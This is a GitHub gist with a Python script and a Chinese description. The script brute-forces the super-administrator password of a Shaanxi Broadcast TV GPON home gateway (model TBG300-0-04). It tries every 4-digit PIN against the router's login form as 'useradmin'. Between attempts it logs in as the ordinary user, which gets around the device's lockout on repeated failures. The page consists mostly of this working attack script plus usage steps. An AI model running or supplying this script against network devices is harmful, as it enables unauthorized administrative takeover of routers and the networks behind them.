Last active
September 11, 2024 06:50
-
-
Save Zayrick/72d6b168e0c1182c8d82009b5e69146d to your computer and use it in GitHub Desktop.
用于破解陕西广电GPON HGU B3型家庭网关(TBG300-0-04)的超级管理员密码的暴力破解脚本。
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
# 定义用户代理,用于模拟浏览器的请求头 | |
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36" | |
# 定义登录和注销的URL | |
LOGIN_URL = "http://192.168.1.1/boaform/admin/formLogin" | |
LOGOUT_URL = "http://192.168.1.1/boaform/admin/formLogout" | |
# 遍历尝试的密码,从0到9999 | |
for i in range(10000): | |
# 初始化请求头信息 | |
headers = {"User-Agent": USER_AGENT} | |
# 创建一个Session对象,用于维持会话 | |
session = requests.Session() | |
session.headers.update(headers) | |
# 访问首页以初始化cookies,这可能是必要的步骤来绕过某些安全机制 | |
response = session.get("http://192.168.1.1") | |
cookies = session.cookies | |
# 如果当前尝试的次数是奇数或是0,则使用普通用户登录,以避免登录次数过多导致封锁 | |
if i % 2 == 1 or i == 0: | |
# 提示用户在此处输入光猫的默认用户密码 | |
# 替换 'your_default_password' 为实际的默认用户密码 | |
login_data = {"username": "user", "psd": "your_default_password", "login_in": "%B5%C7%C2%BC"} | |
# 提交普通用户的登录请求,allow_redirects=False表示不跟随重定向 | |
session.post(LOGIN_URL, data=login_data, allow_redirects=False) | |
# 立即提交注销请求,以保持正常状态 | |
session.post(LOGOUT_URL, allow_redirects=False) | |
# 构建管理员登录的数据,尝试以useradmin及当前4位数字密码登录 | |
login_data = {"username": "useradmin", "psd": "{:04d}".format(i), "login_in": "%B5%C7%C2%BC"} | |
# 提交管理员的登录请求 | |
res = session.post(LOGIN_URL, data=login_data, allow_redirects=False) | |
# 检查响应状态码,302表示重定向(通常登录成功后会重定向到管理页面) | |
if res.status_code == 302: | |
print("Login succeeded with password:", "{:04d}".format(i)) | |
break # 成功后退出循环 | |
else: | |
print("Login failed for password:", "{:04d}".format(i)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
破解陕西广电GPON HGU B3型家庭网关超级管理员密码 (TBG300-0-04)
此代码用于尝试破解陕西广电GPON HGU B3型家庭网关(设备型号:TBG300-0-04)的超级管理员密码。通过遍历4位数字密码组合,该脚本会自动模拟登录尝试,直到成功找到正确的超级管理员密码。
代码说明:
requests
库模拟HTTP请求,遍历尝试常见的4位数字组合,以找到设备的超级管理员密码。useradmin
作为用户名,尝试不同的4位数字密码进行登录。注意事项:
使用方法:
"your_default_password"
替换为设备的默认用户密码。